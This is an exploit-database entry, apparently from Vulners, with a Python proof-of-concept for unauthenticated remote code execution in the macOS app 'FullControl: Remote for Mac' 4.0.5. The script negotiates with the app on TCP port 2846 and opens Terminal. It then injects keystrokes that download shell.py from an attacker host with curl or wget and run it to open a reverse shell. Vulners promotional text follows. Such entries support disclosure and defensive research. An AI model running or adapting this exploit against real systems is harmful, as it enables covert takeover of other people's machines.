# Exploit Title: FullControl: Remote for Mac 4.0.5 - RCE V2
# Date: 01/08/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://fullcontrol.cescobaz.com/
# Software Link:
https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
# Version: 4.0.5
# Tested on: macOS 14.4 Sonoma
'''
Description:
"FullControl: Remote for Mac" v4.0.5 is vulnerable to unauthenticated RCE
via TCP port 2846. Attackers on the same network can send crafted packets
to simulate keyboard input, allowing command execution without user
interaction or authentication.
'''
import socket
import json
import time
import threading
import queue
import sys
HOST = '192.168.1.143'
PORT = 2846
LHOST = '192.168.1.63'
DEBUG = False
BAR_WIDTH = 50
NEGOTIATION_CMDS = [
'<request type="info">accessibilityAPIEnabled</request>',
'<request type="info">protocol</request>',
'<request type="info">API_level</request>',
'<request type="info">fc</request>',
'<request type="info">os</request>',
'<info subject="protocol">json2</info>',
'<request type="info">version</request>',
'<request type="info">fc</request>',
'<request type="info">os</request>',
'<request type="info">device</request>',
'<info subject="app">FullControl</info>',
'<info subject="version">4.2.0</info>',
'<info subject="fc">4.2.0</info>',
'<info subject="os">26.0</info>',
'<info subject="device">Attacker</info>',
]
reverse_shell = f'(curl -s http://{LHOST}/shell.py || wget -qO-
http://{LHOST}/shell.py)
| $(which python3 || which python)'
reverse_shell_payloads = []
for c in reverse_shell:
instr = "space" if c == " " else "return" if c == "\n" else c
reverse_shell_payloads.append(
f'{{"Class":"Command","Id":18,"Process":{{"Class":"Process","Pid":-1,"InFocus":0}},"Type":"keyboard","Instruction":"{instr}"}}'
)
reverse_shell_payloads.append(
'{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}'
)
def encode_slashes(s: str) -> str:
return s.replace('/', '\\u002f')
def recv_response(sock, timeout=2.0):
sock.settimeout(timeout)
try:
data = sock.recv(8192)
return data.decode(errors='ignore') if data else None
except socket.timeout:
return None
except Exception as e:
if DEBUG:
print(f"[!] Receive error: {e}")
return None
def draw_progress(current, total, label="Working"):
filled = int(BAR_WIDTH * current / total)
bar = '\u2588' * filled + '\u2591' * (BAR_WIDTH - filled)
percent = (current / total) * 100
sys.stdout.write(f"\r[{label}] |{bar}| {percent:.1f}%")
sys.stdout.flush()
def perform_negotiation(sock, total_counter, current_counter):
for cmd in NEGOTIATION_CMDS:
try:
sock.sendall(cmd.encode())
recv_response(sock)
current_counter[0] += 1
draw_progress(current_counter[0], total_counter)
time.sleep(0.2)
except Exception as e:
if DEBUG:
print(f"[!] Negotiation error: {e}")
continue
def send_launch_command(sock):
cmd = {
"Class": "Command",
"Id": 29,
"Type": "launch",
"Instruction": "/usr/bin/open -a Terminal"
}
json_cmd = json.dumps(cmd, separators=(',', ':'))
encoded_cmd = encode_slashes(json_cmd)
if DEBUG:
print(f"[>] Launch Terminal: {encoded_cmd}")
try:
sock.sendall(encoded_cmd.encode())
except Exception as e:
if DEBUG:
print(f"[!] Launch command error: {e}")
def send_keystrokes(sock, q, total_counter, current_counter):
while True:
try:
pkt = q.get(timeout=5)
if pkt is None:
break
sock.sendall(pkt.encode())
current_counter[0] += 1
draw_progress(current_counter[0], total_counter)
time.sleep(0.001)
except queue.Empty:
break
except Exception as e:
if DEBUG:
print(f"[!] Keystroke error: {e}")
continue
def main():
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((HOST, PORT))
total_packets = len(NEGOTIATION_CMDS) +
len(reverse_shell_payloads)
counter = [0]
perform_negotiation(s, total_packets, counter)
send_launch_command(s)
time.sleep(2)
q = queue.Queue()
for pkt in reverse_shell_payloads:
q.put(pkt)
q.put(None)
send_keystrokes(s, q, total_packets, counter)
time.sleep(2)
print("\n[✓] Exploit delivered. Reverse shell should connect
back.")
except Exception as e:
print(f"\n[!] Main error: {e}")
if __name__ == '__main__':
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation